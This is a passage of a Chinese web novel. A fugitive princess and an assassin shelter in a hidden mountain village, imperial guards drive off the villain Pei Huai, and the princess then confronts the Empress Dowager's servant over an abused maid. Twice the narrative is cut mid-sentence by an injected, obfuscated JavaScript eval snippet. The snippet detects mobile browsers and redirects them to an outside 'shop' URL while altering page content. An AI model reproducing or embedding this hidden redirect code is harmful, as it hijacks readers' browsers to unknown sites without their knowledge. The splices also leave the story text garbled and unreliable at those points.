“刚来此处我已暗中传信给我身边暗卫,鸽子上留有特制的香料,飞鸿现在还未找来,说明此处不是那么轻易被发现的,我们还有时间。” 纪无涯明白她心里想的什么,也应了下来。 每个人向外传递位置的方法都这么一致。 按照寻方和雪的动作,现在也还没找到,恰好说明这里难以找到。 机关洞他去看过,出口已被大力下令封死,一清也说里面的机关被改过,单单洞中的水退去,藤蔓不在,哪怕轻功再好,还有洞壁上的机关,也没人能过来。 晚上的时候,他们悄悄去到大力家附近,藏在野草坡后面观察下面的情况。 苏月清已经醒了,在河边洗手洗脸,大力在另一间屋子,他家是两间单独的屋舍,厨房建在外面棚子下,吃饭的桌子也是。 屋子斜后方就是牛圈,屋后堆着柴火。 原来另外一间屋子是大力爹娘住的,自从去世后便一直没人住,他也没娶亲生子,自然闲置下来。 苏月清来了,他便把屋子收拾出来给她住。 李之夭顺势坐在地上,“纪无涯换做是你,你会怎么做?” “杀了。”对于杀手来说这是最好的处理办法,纪无涯补充,“你可以雇我,一万两。” “一万两?!你救我出来才三千两,她凭什么一万两?”她惊讶地差点叫出声来,意识到赶忙把声音压下去,“你怎么不去抢?” “杀了她裴淮会发疯,我后面没有安生日子过,你也没有。” “那后面我再雇你去杀了裴淮行不行?便宜点,你这狮子大开口,一万两买个苏月清的命,我的命在你眼里都不值一万两。”李之夭神色鄙夷,在山洞里,她可是清清楚楚记得纪无涯开口说三千两,怎么如今到苏月清就一万两了。 “想杀你的人很多,想杀她的没有,你是长期,她是短期,、价格和需要承担的风险自然不一样。”纪无涯一本正经的解释。 一瞬间她觉得有被说服。 长期捞大钱,短期挣小钱,可真有他的。 一万两要苏月清的命,比杀她一次还贵,要不得,可不能让纪无涯奸商赚到了。 大不了这几日躲着点不出去见人。 纪无涯能出去就由他盯着苏月清。 这两日苏月清也安分,规规矩矩在大力家,时不时去外头转转跟村民们说说话。 在距离花奶奶九十大寿前一日,她给大力送完饭回来,路上遇到莲花村的村长,村长是个看起来六十多的老头子,身边围着一群半大不大的孩子。 “苏姑娘,今日身子可好些?” “好多了。”苏月清冲他颔首淡淡一笑,她性子本就淡薄,跟人说话不远不近,笑起来也是浅浅的,村里的孩子忍不住拿她跟桃花比。 桃花姐姐跟他们相处都跟亲近,也会跟着他们一起玩,笑起来眉眼弯弯的,性子也开朗,“姐姐你应该跟桃花姐姐一样多笑笑。” 苏月清微微垂眼,“桃花姐姐?” “是啊,她虽然也是外来的,但跟我们关系可好了,村子里的人都喜欢她。” 苏月清捕捉到关键信息,蹲下身捏了捏小孩儿的脸,“那这个桃花姐姐来了多久了?” “快十天了,还有阿福哥哥,他不喜欢笑,我们从来没见阿福笑过,话也不多,但会跟着桃花姐姐陪我们一起玩,有时候一清哥哥也在,是吧阿伯?” 村长捏着胡子细细回想,说了句是,“桃花和阿福来了确实快大半月了。” “为何我从未见过他们?”苏月清揉了揉孩子的头。 “这两日我也没怎么见过他们,真是奇怪,阿伯,我们去花奶奶家带姐姐认识桃花姐姐和阿福哥哥吧?” 孩子们听到纷纷起哄说好,他们这几日都没见到人心里也想念得紧,也想让桃花认识他们的新朋友。 村长拗不过便直接问苏月清要不要去,苏月清必然不会放过这个机会,说自己先回去放下篮子,随后一群人朝着花奶奶家走去。 一清刚从水沟里倒完洗菜水,就见村长领着一群孩子还有新来的姑娘走来。 孩子老远就跑来直扑他怀里,“一清哥哥,桃花姐姐去哪了?” “奶奶找桃花姐姐有事让她上山采药去了,明日就是奶奶寿宴,家里忙得嘞,你们要有空就来帮帮忙。” 寿宴到时候要请全村的人过来吃席,这两日已经在开始忙活准备食材,明天一大早就得起床备菜,忙活到下午,恨不得一个人分成三个用。 孩子们点点头村长喊着他们回去,一清目光落在苏月清身上,她冲他淡淡点下头,他回以同样的礼节算是彼此打过招呼。 人离开后,纪无涯从树上下来。 “见不到人她是不会死心的。”一清道,“你们究竟是何来头?” “我跑江湖的粗人。” “桃花也是一样?” “她不是。” 大力因为花奶奶的叮嘱,这两日倒是忘记来李之夭他们麻烦,但就如一清所说,见不到人不会死心的。 苏月清晚上知道大力被阿福打晕过去的事,撺掇他一起上门来要个说法,白日见不着,总不能晚上也不在家里。 不到黄河心不死,晚上来的时候也被避开,他们闲坐等到深夜也不见人才离开,离开时苏月清主动明日过来帮忙,大力也说着自己一块来。 花奶奶不好拒绝,毕竟做饭洗菜这块上确实缺人手。 人离开后,李之夭和纪无涯从地窖里上来,地窖干燥阴冷,她搓着自己冰凉的手,花奶奶为他们添了热茶。 “你们这么躲着也不是办法,明日总得见到。” “能不能躲过去,明日再说。” 她今晚收到飞鸿的传信说春夏和小顺子都失踪了,踏雪已从京城赶来寻找他们二人下落,他发现裴淮已带人找了过来,他跟在裴淮后面,一路给秦立山留下记号,见机行事。 花奶奶九十大寿,全村的人都来了,她作为村中长寿之人,又深谙医术,在村里颇有众望,从大早上开始,登门拜访的人就没断过,个个说着吉祥话,送来寓意长寿的礼物,莲花村是个小山村,大家普遍都差不多,饱含心意的礼物,礼轻情意重。 苏月清早上是随大力一块来的,李之夭陪在花奶奶身边接待来客,一清跟纪无涯在后厨忙活,她笑眼盈盈地望向苏月清,双方没有意外之色,对彼此的存在早就心知肚明。 苏月清将手上镯子取下递到桌上,“我并没什么准备,只有镯子是在山外买的,在这山里别的什么也买不到,比不上大家的还请将就。” 镯子是和田青玉,看成色不是最好的,相反有些瑕疵,话里话外都是说莲花村地处偏僻找不到什么好物件,她这个是山外才有的东西,说是将就话里话外却是嫌弃。 在场的人听得只觉身上不舒服,苏月清自诩清高,在这种地方于她眼里都是自降身份,但又不想失了面子,才将镯子拿来当礼送出。 花奶奶今日装扮,头上戴得翡翠都是成色极好的,是当年她丈夫在外为她寻来打造的饰品,明眼人一看都知的东西好,暗自互相比较一番,对苏月清的态度都冷了几分。 倘若她诚心实意,别人都不会觉得有什么不妥,偏偏她说话引人不快。 花奶奶面不改色笑着让李之夭收下,镯子放在最外头,苏月清故意走了几步停下,语气里带着责备,“你擅自失踪,可知给人带来多大的麻烦,既然平安无事,希望你能懂点事,不要再让人操心。” 她意思是李之夭自己贪玩跑出来的,并非遇上歹人追杀,在家也是个不让人省心的,分明就是故意冲着摸黑她来的,看到村民都站在李之夭这边,便生了拉拢人心的心思。 李之夭诧异道:“我还以为苏姐姐当日在场目睹全过程,毕竟那日你推了我一把险些撞向刀口,怪我不争气,脚不听使唤,不能自己避开刀枪乱剑,苏姐姐教训的对,是我不好总遇上刺杀让人担心了。” 苏月清一噎,神色僵硬,“我不是那个意思。” “不是那个意思是什么意思?”李之夭瞬间红了眼眶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴淮在原地休整没多久,眼看太阳快要下山,本该出现的信鸽并未过来,他终于忍不住开始命人继续往前探路。 一到晚上,苏月清原本洒下的荧光粉只剩寥寥些许还在亮着,过了这么多天,早就被风吹散了。 这两日除了裴淮,飞鸿还发现有别人也在跟着裴淮,对方显然也发现了他,只不过双方按兵不动,若是因此打起来必然惊动裴淮,得不偿失。 戌时正裴淮终于找到进村的小路,他们一行人顺着路走到尽头,看到了灯火通明的村子。 飞鸿再次留下记号后自己先抽身离开去找自家主子,另外两人也趁机离开,随他进了村子。 莲花村晚上热闹,家家户户虽然亮灯,但屋里并没有人在,飞鸿一路往深处走,顺便引开两人,终于在人群里见到自家主子。 他吹响哨子,引李之夭出来,李之夭避开人群找到飞鸿如释重负,说了句太好了,“我还怕时间不够。” “主子,属下来迟,属下已经给秦大统领留下记号,不久他便也能跟着赶来。”飞鸿抱拳请罪,随即看向旁边的纪无涯,“跟着一起来的不光有我,还有两名那日在行宫外的缘楼杀手,想必是来寻你的。” 纪无涯点头说了句多谢,“我现伤势大好,对付他们二人我尚有余力。” 不远处忽然传来急匆匆的脚步声,下一秒村民们惊慌失措的叫声传来,看样子是裴淮带人找过来了,他们回去先在暗处观察。 杀手将村民们围起来,花奶奶从后面由一清搀扶着走出。 “你们有什么事?” “老人家,我不想为难你们,这两日进你们村子的外乡人在何处?” 大力听闻怒斥出声:“我就说桃花他们二人是个祸害!现在就坑害了咱们。” 村民们心中顿时有些怨言,开始抱怨上桃花他们。 一清白了他一眼,“大力啊,你怎么不说你前两日捡回来的苏姑娘呢,桃花他们在的时日可是相安无事,苏姑娘才来多久,村子就被人找到了。” 闻言村民们才回过神来,他们这是被人牵着鼻子走没了自己的判断了,还得是一清看的明白。 前面都没什么问题,反倒苏月清刚来几日,就被人找过来,问题只能是出在苏月清身上。 苏月清这时从后面走出来,她身上泥巴尚未洗净,头发上也沾了泥,她走向裴淮,眼眶微微发涩。 “你们终于来了。” “你怎把自己弄成这样?” “都怪李之夭!就是她弄的!”苏月清咬牙切齿,目光转向为首的花奶奶,“那老太婆跟李之夭是一伙的,抓住她,逼李之夭出来。” 杨刻闻声上前,一清拦住同杨刻交手几个回合,不敌对方却被他打翻在地,就在杨刻手准备揪住花奶奶衣领时,纪无涯飞踢在他胸口,杨刻躲闪不及结结实实挨了一下,飞出老远,趴在地上呕出一口血来。 李之夭从他们后面走出来,“找我,欺负老人算什么本事。” 飞鸿护在她左右,花奶奶叹息道,“你出来作甚,你不出来,他们总不能杀了我这个老婆子。” 李之夭朝她投去安心的眼神,话却是对着苏月清,“你费尽心思忽悠大力找来,是那日他进城采买被你发现了,他回来我特意看过他买的东西,不是蔬菜全都是生活用品,或者是普通人家平日无法自给自足的物件。” 苏月清冷哼一声,面色有些傲慢,“要怪只能怪他自己太蠢,他走的方向是进山的路线,山里之前都找过并没有村子,若是有就是我们找不到的地方,我假意被人追杀随他进村,没想到你们还真在。” 大力愣在原地,没想到这一切竟是他招来的,若不是他心里对他们心有怨言,也不会这么轻易就将人带进来证明自己的想法没错,往常他出去回来行动都很小心谨慎,那日他故意走了大路,也有赌气的成分在。 此时他满心懊恼,莲花村这么久的宁静被打破全是他的原因。 “螳螂捕蝉黄雀在后,苏月清,你以为只有我不会吗?”李之夭勾唇笑了笑,身后脚步声渐至。 秦立山带着禁军追来,多亏飞鸿跟随在路上留下记号,不然他永远都不会知道骊山附近卧虎藏龙,还有这么一座隐秘的村庄。 裴淮见状将苏月清拉至身前,手中匕首抵在她脖颈上。 大批禁军高举火把,将周遭照得宛如白日,将裴淮围和他带来的杀手围起来。 躲在暗处的老十和十二只觉倒霉,怎么每次纪无涯身边都有朝廷的人,朝廷的驻军还在月缘山没走,若是出了点风吹草动,缘楼必定遭到围攻。 他们暗自看了会打算再等等后面是否有机会动手,现在都没见到寻方和雪,十二心中觉得他们真能藏,找不找不到。 李之夭看向裴淮,“不然你觉得我为何会仍由她留在这里,什么也不做呢?” 秦立山抱拳行礼,“末将参见公主!” 莲花村的人望向李之夭,神色震惊,他们早知道桃花身份不一般,没想到竟是公主。 花奶奶率先跪下行礼,村民如梦初醒跟着齐齐跪下。 李之夭赶忙将她扶起,说自己受她照顾,不必行礼,更何况这样的礼她一个前朝公主也受不起。 秦立山起身拔剑直指裴淮,“快把苏侍女放了!” 苏月清跟他有勾结的事不能被秦立山知道,李之夭也不打算说,就凭她的一面之词皇帝是不会信的,更何况皇帝前段时间中毒,源头尚未找到,她还需要苏月清在宫里救人。 裴淮将苏月清推到禁军身边,秦立山也认出他就是当日纵火烧凤山的罪魁祸首,大喊一声逆贼,下一秒两批人就火拼在一块。 李之夭命飞鸿带着村民离开,自己则留在安全的位置。 纪无涯察觉暗处有人在偷窥余光瞥去,十二护法林江朝李之夭掷出飞镖,他抽出腰间软剑抵挡。 十护法九明从暗处飞出,劫走李之夭,秦立山刚挡下裴淮的进攻就瞧见李之夭被人掳走,顿时不知该顾及哪边。 “大统领留在此处,公主我去处理。”纪无涯抛下一句话飞身追去。 他们的目标是他,所以不会对李之夭怎么样,朝廷的人去追反而不利于他们出现。 “好,公主就交给你了!” 55. 不装 第55章 李之夭被他们抗在肩上,飞快奔走在林中,她朝越来越远的村子看去,心里重重叹了口气。 他们绕来绕去似乎都在同一个地方打转。 九明出声喊林江快停下,“等等,树林似乎不不对劲。” 林江四处看了一圈,树林郁郁葱葱遮天蔽月,周围似乎开始慢慢起雾,尽管他们再怎么熟悉夜晚,此时也不得不取出火折子点燃查看周围情况。 九明不敢走太远,只敢在周围简单查看一圈,他们确信这是来时的路,出去也是按照原路返回,绕来绕去,反倒把自己绕在了里面。 就连他们来时在路上做的标记全都不见了,只剩下诡异的雾渐浓。 “这地方真邪门。”林江唾了一口,“若是这样,十三还能找上来不能?搞不好连我们自己都得搭进去。” “你去取几根木头扯下外衫做成火把,火折子撑不了太久。”九明吩咐道,“宿宁公主我来看着。” 林江把李之夭放下来,她反手抓住林江的衣摆,开始哭哭啼啼,“不要把我丢在这里啊,求求你们了。” “你快放开,我们说话你听不见是么,什么时候要丢下你了?”林江用力把衣摆扯出来,面上满是不耐。 让他没想到的是,李之夭再次揪住他的裤腿,仿佛听不到他们说话似的,还在不停的哭,嘴里念叨不要丢下她,林江被她哭得心烦意乱,声音再次拔高,“没丢下你,我要去找木材取火!你快放开!” “我虽是前朝公主,好歹现如今大魏皇帝是我舅舅,你们若是弃之于不顾,小心天威震怒,缘楼不保!” 她死死拽着不放手,压根听不到他们说什么。 引得林江心里突然又惧又疑,“莫不是宿宁公主是个聋子?还是这里有问题?” 低沉的风呜呜吹来,加上李之夭跟怨鬼一样凄惨的哭声,让林江起了一层鸡皮疙瘩,手里的火折子突然灭了,这下什么都看不见了,他站在原地一阵发毛,直觉后面阴风阵阵,似乎有什么东西一直朝他逼近。 “十师兄……”他慢慢朝着九明所在的方向靠去,跟他背对背,李之夭爬过来抓住他的脚腕,吓得他险些蹦起来。 九明此时心里也快沉不住气,他们杀的人多了,有时睡觉也会做噩梦,眼下的场景,李之夭原本好好的,却什么都听不见,跟先前看到的判若两人。 莫不是林中藏了什么厉害的东西,能多人心智。 九明闭上眼睛,李之夭身份特殊,呵斥听不见,又不能打她,若是纪无涯追上来,交还给禁军不好交代。 他努力调整气息,鬼怪蛇神皆为虚妄,一切都是假的,若是能勘破其中玄机,必是救他们逃出生天的契机。 九明睁眼,忽然觉得眼前有什么东西一闪而逝,他紧张地吞下口水,额上覆了层细汗。 原本还在哭的李之夭停下了哭声,她喃喃道:“那是什么……” 她的声音很轻,此时的环境下他们却听得一清二楚,李之夭再次重复道,“你们为什么不说话?是做杀手的天生不爱说话吗?” “十师兄,你有没有觉得附近好像有什么东西?”林江低头看了一眼李之夭,发现原本在他脚旁边的人忽然退到了树根下,指着他身后哆哆嗦嗦半天。 白雾渐浓,除了眼前他们看不清周围的情况,听了李之夭的话他声音都开始紧张,“十二,我们得尽快离开,十二,你怎么了?” 林江顺着李之夭指的方向看去,只见雾中缓缓出现一道人影,他眨了眨眼睛,就在两人的目光被人影吸引时,眨眼的瞬间,人影不见了。 下一瞬忽然有披头散发的人脸从树上倒挂而下,李之夭率先惊叫出声:“鬼啊!”她站起身直接往林中深处跑去。 九明看见追着李之夭而去。 林江大喊一声:“何人休得造次!” 原地瞬间只剩下他一人,随后银色的圆币从暗处飞出,林江立马掷出飞镖反制,两种暗器撞在空中,他怒斥一声:“十三!果真是你在装神弄鬼!” 但不给他出手的机会,纪无涯上前点住他的穴位,让他无法动弹也不能说话,将林江打个措手不及。 他控制住林江才去追李之夭。 刚追上去,就瞧见李之夭站在林中的一片空地上拍了拍手,九明躺在地上不省人事。 “你没事吧?” 李之夭摇了摇头,“这样的情况下对付他还是可行的,不枉我为你铺垫这么久。” 纪无涯神色稍缓蹲下身检查一下九明,确认他真的晕过去,顺手点了他的穴位,李之夭在他身旁蹲下,“这片树林当真如莲花村民所说,晚上变幻莫测白雾四起,他们二人都吓得不轻,普通村民遇上,不等你装神弄鬼,就吓得魂飞魄散。”她说完顿了顿,好奇道,“纪无涯,为何你们楼主总想让你回去?” 纪无涯原本扮鬼将头发散开,此时墨发顺在脑后长至腰间,发尾在风里晃动,额前碎发在他眼前落下一圈细碎的光影,即便他穿着农户亚麻色的衣衫衣裤,整个人看上去依旧挺拔,不觉老气,看不出任何情绪,从眼底就透露出来的淡漠。 “走吧。” 他提起九明的一条腿,唤李之夭离开,将人拖到林江处,林江眼睛拼命地眨,解开哑穴将嘴里的布拿出,林江怒斥道,“你把他怎么了?!” 李之夭不满地踹了他一脚,“叫什么叫,他死了,你满意了?” 林江怔在原地,缓过神又开始对纪无涯一顿输出,“十三!你竟敢残同门!你就不怕楼主和五大长老责罚吗?你这样可是要下十三牢的!” 李之夭一巴掌呼在他脸上,早先他扛着她跑的时候,就让她浑身不舒服,还有先前趁人之危已经让她非常不爽,一耳光下来,再次让他大脑一片空白。 “你偷袭他用飞镖暗算的事怎么不提?真是烦死了你们这群人一天天的没完没了,毒是我下的,就算杀人也是算在我头上,你们是同门还好意思说,就你动手那几下我都懒得说你,我一个不会武的外行人都看得出来你那龌龊腌臜心思,你怪有脸提。” 她不发火不怼人不代表她没有脾气,当初在燕国时传闻她脾气不好,嚣张跋扈目中无人不是没有道理。 林江被她说得发愣,本来还想再说话,李之夭又一巴掌拍在他脸上,“你可闭嘴吧你,我都替你丢人,还想不想出去了。” 被李之夭莫名其妙一通教育下,林江乖乖闭上了嘴,只是恶狠狠瞪着纪无涯,察觉到另外一道目光,为了避免再挨巴掌,他默默闭上了眼睛。 谁知等他再次睁眼时,林子里哪有纪无涯和李之夭的影子,他们趁他不注意溜了,林江咬牙切齿想把人杀了的心都有了。 被人莫名其妙戏耍一番,那个人还是他最讨厌的人。 李之夭早在进来的路上就看穿了林中玄机,哪有什么诡异之事,只不过晚上树林茂密,不见光亮,加上夜晚山间起雾,光线昏暗光线昏暗,类似于鬼打墙而已。 都是自己吓自己。 至于他们留下的记号,后面禁军赶来,那么多人都被破坏或者换了位置,天一亮,他们自己用轻功就能走出去。 纪无涯临走前解开了九明的穴位,只不过留在林江身上的穴位他们解不开,强行运功冲穴适得其反,想救林江只能回缘楼找楼主。 只不过这样,纪无涯算是彻底得罪林江,“后面你打算怎么办?” 秦立山押着拿下的杀手守在村子的空地上,除了苏月清在这里,裴淮和杨刻不出所料逃得无影无踪,若是能轻易抓到他,就不是男主了。 见到她平安无事,除了苏月清之外其余人脸上都松了一口气,她扫了一眼,飞鸿已经避开了跟秦立山碰面。 一清目光怔怔的看着她,最后敛下眼中光芒,缓缓垂下了头。 今晚见到禁军和禁军统领,他才真正明白阿福说的她身份特殊是何意思,也难关阿福说她迟早会离开的。 她是公主,跟他们简直是云泥之别,此时庆幸还好他没把心里那份情谊说出口,否则连朋友都不能做了。 莲花村保下来了,意料之外的方式,她本以为不会这么轻松,没想到裴淮来得快,禁军也来得快,他逃得也快。 匆匆忙忙,眨眼间就尘埃落定,竟是给飞鸿的信把这场危机化解。 李之夭取下发间的一支发钗和一张信纸递到一清手里,“若有难处,可凭此物到银来庄求助,这几日感激你们收留,皇上挂念,我须得尽快回去,现在还在骊山,总有机会相见,莲花村是个好地方,但长久不是权宜之计,就怕有朝一日裴淮去而复返会害了你们性命,出村的路白日黑夜我已给你记录画下,若是村民需要可照着离开。”她说着看了眼苏月清,后面的话也是说给她听的。 告诉她莲花村的人她已要求离开,日后若是想寻仇,恐怕也没机会了。 并不担心裴淮短时间内会回来,她出去后要先去弄明白一件事。 那就是裴淮的生母究竟是何人。 若能查清,她也能推断出后来裴淮的动机是何,这是意外之喜,毕竟觉醒后的的剧情,一些地方印象模糊,光凭记忆根本无法预料后面的事。 要阻止裴淮,将他扼杀在势力没有全部成型的初期,道阻且长。 李之夭看向花奶奶,“奶奶,还请您保重身体。” 纪无涯将银币弹飞,它正好落在一清掌心里,“此物也为凭,江湖上的路子也能开个一二。” 一清此时心中彻底放下,原本他纠结桃花身份一事,还有自己地位卑微,但人家丝毫没有架子,反而尽心尽力帮助他们,让他未曾说出口的心事,也该就此烟消云散。 少女树下浅笑回眸,终究是一场镜花水月,她在梦里,他在看着。 他释然笑道:“好啊,日后我带着奶奶出去,先要去落月城,去那里看看爷爷曾经的故乡,你们若是得空,可来落月城寻我和奶奶。” 李之夭在纪无涯的搀扶下上马,秦立山下令撤离,纪无涯牵着马走在队伍中央,苏月清跟在一侧,留下一对人善后。 离开时火把通明,照得前路畅通无阻。 李之夭目不斜视,话却是对苏月清道,“这次可惜了,还是没能让裴淮如愿。” 苏月清语气冰冷,“一次而已,何足挂齿,后面有的是机会,我们来日方长。”她顿了顿,“你会后悔没有揭发我的。” “与其揭发,我更想看你暴露的那一天,横竖你都在皇宫,皇上你也不敢动手,否则他身边暗卫在你出手时就把你大卸八块。” “暗卫中用,他为何还能中毒。”苏月清冷哼一声,迈开步子往前走去。 清武帝谨慎,苏月清上次进天牢利用医术解毒获取自由,再次赢得清武帝信任留在身边,孙广全说后面命人彻底检查了一遍寝宫和御书房,上朝的大殿全都检查了,甚至大肆搜查了一下后宫,皆一无所获。 用具什么的全都更换一遍,至今想不通是如何中毒。 李之夭看着她,没有怀疑的人,就只能是苏月清自己动的手。 黎明将至,进了守义镇李之夭从马上下来,秦立山道,“公主先在此歇息会儿,臣有些事要处理。” “秦大统领留步。”李之夭唤住他,“不知可否多问一句,有何急事,不先回宫。” 秦立山面露难色,最终咬牙决定将事情和盘托出,“是春夏和小顺子失踪了。” 也不知踏雪找的情况如何,现在还没消息,李之夭心里也忍不住泛起一丝担忧。 “秦大统领是如何发现春夏和小顺子不见的?”她语气迫切,想知道这一切的缘由。 秦立山看向苏月清,这件事他忽然产生些想不通的地方,苏月清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068322|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当初下山是跟宿宁公主一块儿,后来自己上了山,问及春夏和小顺子时她说两人寻主心切,留在山下和禁军一起寻人。 禁军在守义镇这么多天,起初他以为是自己太忙没注意到他们,后面在行宫遇到时雨,他下山后派人找他们,结果禁军里都说从始至终没见过,两人就这么消失了四天。 若是当夜刺杀纷乱,他们死在贼人手中,但守义镇每个角落都派人找过好几遍,就算死了也该见到尸首才是,生不见人死不见尸,唯有可能还活,被人藏起来。 想着宿宁公主遭遇刺杀刚回来,若是再知晓春夏和小顺子失踪,必然会遭受打击,倘若回去再知晓时雨处境,他都不敢想会有多难过。 “因为时雨的缘故。”秦立山想到时雨本不该遭受这么多,都是因为苏月清的主意,他跟时雨是接触最多的,早将她当做朋友,朋友因人受难,罪魁祸首在就眼前,他怎能不心生怨怼,“臣在行宫见过她一面,时雨绣花的双手伤痕累累,太后素来对公主你心有不满,时雨恐怕在劫难逃,臣本想寻春夏和小顺子回来,他们也能帮衬一二,正因如此,才发现他们二人失踪。” 李之夭眼泪如珠子一般掉下来,她整个人瘫坐在地上,精神涣散,仿佛遭受很大打击,“自从我进宫以来,身边都是他们三人侍奉,几次三番救我于水火,若是他们三人因此出现什么意外,九泉之下我当真无颜面见他们,秦大统领请你一定要帮我找到他们,我要回去找时雨!” “苏侍女不妨留下来跟我们一块找人吧。”秦立山应了李之夭的请求,将苏月清扣下,哪怕他心再大,现在回想也发掘其中的问题,怕苏月清跟着一块回去妨碍捞人,不如先把人留下,跟在自己身边,谅她也翻不出什么波浪。 李之夭转身就朝山上赶,纪无涯冲秦立山微微颔首算是别过,牵着马就去追李之夭。 她脚步匆匆走在街上,只留下仓惶的背影,她止住眼泪,不再凄凄哀哀,神色凛冽,她拭去眼底的眼泪,目光坚毅却藏着怒火。 虽明白时雨留在江氏那里不会好过,原以为只会吩咐些洒扫的杂活,没想到她竟敢用刑。 “上马,我带你回去。” 李之夭没有犹豫便同意纪无涯带她离开,两人飞奔到行宫门前,她找人速速去传清武帝往太后寝宫,她则直奔太后宫殿,一脚踹开门,瞧见跪在地上的时雨,桂嬷嬷正在狠狠打她打掌心。 清脆的声音落下,时雨愣是没掉一地眼泪,也不吭一声。 桂嬷嬷刚看清人,手里的戒尺就被夺走,下一瞬戒尺直接招呼在她堆满横肉的脸上。 围观的宫女吓得惊呼出声,桂嬷嬷被扇得两眼发黑,她直接破口大骂,“你竟敢在太后的寝宫里撒野,真是不知死活!” 她的脸只感觉火辣辣一阵疼,清晰的印上一道戒尺红印,桂嬷嬷崩溃跳脚,“来人!快给我抓住这个祸害!没天理了,她敢在太后宫中撒野!” 桂嬷嬷哭着直奔寝宫,声泪俱下的哀嚎,“太后啊,你可要为我做主啊!太后,李之夭这是不把你放在眼里啊!” 纪无涯上前将她拦下,捡起地上石子儿,随手弹飞向旁边养着莲花的水缸。 怦一声,水缸被他石子儿打出一道裂痕,不出瞬息,轰然碎开,四溅的水吓得桂嬷嬷险些两眼一翻,李之夭眼疾手快,上前再给她呼了一巴掌。 这一巴掌才将她飘出去的魂给抽了回来。 李之夭将时雨从地上拉起来,时雨拉住她担忧问道,“主子,没事就好,这样会连累你的!” “无事,我自有应对之法。”她将时雨的手摊开在掌心查看,满眼心疼,“让我看看你的手。” 多日备受折磨,时雨都不曾掉一滴眼泪,此时见到自家主子,她顿时委屈涌上心头,眼眶也酸涩起来,李之夭擦掉她脸上的泪水,“别哭,今日我帮你找回来。” 单凭她们折磨时雨,李之夭什么也不想管了,什么隐忍退让软弱的性子,她今日全都不要了。 不将这吃人的宫殿掀翻他们还真以为她是好欺负的。 李之夭将纪无涯腰间缠绕的软剑卸下,逼近桂嬷嬷,吓得她四处逃窜尖叫,宫人们乱做一团,想上前去拦李之夭,除了怕被她一剑捅死之外,纪无涯还捏着石子儿威胁他们,不准上前。 方才那一下已震慑住他们,现在只见桂嬷嬷拖着肥胖的身躯到处乱跑。 “杀人啦!救命啊!快去喊人啊!太后救命!太后救命啊!”桂嬷嬷只得扯这个大嗓子乱叫,想要制造更大的动静将人吸引过来。 纪无涯见她冲向自己,闪身躲开,桂嬷嬷抓住时机直奔内室。 江氏在小憩,一嗓子吼得她一阵心悸,她翻身坐起来,“你想造反啊!” 桂嬷嬷噗通一声滑跪在地,拽着江氏的裤子不撒手,“太后,李之夭那个小贱人来宫里撒野,太后你可要做主啊!她现在疯了一样拿着剑四处乱砍,你看她还打了奴婢,奴婢在你身边伺候近十几年,她这么做就是想爬你头上!” 江氏气急败坏,“李之夭那个小祸害命怎么这么大……”她寻思着眼珠一转,计上心头,“你快给哀家一巴掌!” “啊?”桂嬷嬷愣在原地。 江氏赶忙道:“她今日闹出这么大的动静,罪过可不小,你给哀家一巴掌,咱们好去皇帝身边告她一状,今日必须得将那祸害铲除。” 桂嬷嬷哭丧着脸,扬手给江氏抽了一巴掌,抽得江氏哎哟直叫,吓得桂嬷嬷跪在地上赶紧道歉。 江氏本想发怒,但想到能借此狠狠罚李之夭,也就忍下这个痛。 李之夭走进来冷眼看着他们,勾出一抹冷笑,不等江氏反应过来,愠怒威严的声音便传进来。 “简直大胆!” 桂嬷嬷刚听到声音,两腿一软直接跪了下去,清武帝大步走进来,“太后也是你能打的?” 56. 意义 第56章 桂嬷嬷此时只觉两眼发黑,颤颤巍巍跪在地上,想要开口辩解却又不知从何处说起。 她只能将求助的目光看向江氏,期待她能为自己说点什么。 江氏捂着脸,震惊盯着不知何时踏进来的大儿,也不知他听到多少,顿时感觉悲从中来。 若是全都听到,岂不是从她们打定主意开始在了,若是这样,证明李之夭早就想好对策,否则也不会敢在宫里这么胡来。 江氏越想越气,愤愤盯着李之夭,恨不得用眼神将她戳几个血窟窿。 “朕念你未进宫前便在母后身边伺候,与母后感情甚好,母后整日久居宫中,身边每个贴心说话的人,这才允带你入宫来。”清武帝目光划过一丝狠戾,想到方才在门口听到的话,看到的事,心中怒火难抑随时都要喷出来,“谁曾想你这腌臜婆子不曾做到应尽的责任规劝提醒主子,反而撺掇主子与你为伍,辱骂皇亲国戚,你有几条命能使?” “皇上饶命!皇上饶命!是宿宁公主擅闯太后寝宫,不分青红皂白打了奴婢……奴婢这才……”桂嬷嬷说到最后,声音不自觉弱了下去,她现在脑子乱如麻,说话都不知该怎么说才能让天威怒气平息,捡回自己的小命,想到最后桂嬷嬷转身朝江氏磕头,“太后救救奴婢,看在奴婢对你忠心耿耿的份上,救救奴婢!” 江氏张了张嘴巴,目光在跟前几人脸上来回扫视,此时贤妃从身后走了出来,温声提醒道:“身边老奴待的时间久了,太后容易被感情迷了眼,分不清人是好人还是坏人了,该死的奴才到头还拉你下水,理应果断些,去恶留善,宫里才能平静些,随了皇上的愿。” 李之夭看向贤妃,她明白一开始皇帝的话就是为太后开脱,若是传出来太后为诬陷名前朝公主,竟撺掇手底下的奴才给自己巴掌,便成了天底下的笑话。 朝中大臣知晓,必定会在街坊四处传得飞沸沸扬扬。 贤妃也是在提醒她,别做让皇上下不来台的糊涂事。 江氏也不是什么都不懂的人,她从村子里的种田婆,随着儿子官越来越高,全家人都被接进京城,住着大宅院,手底下好些丫鬟婆子伺候,桂嬷嬷也是那时候进来伺候她,有吃不完白花花的大米饭,香喷喷的五花肉。 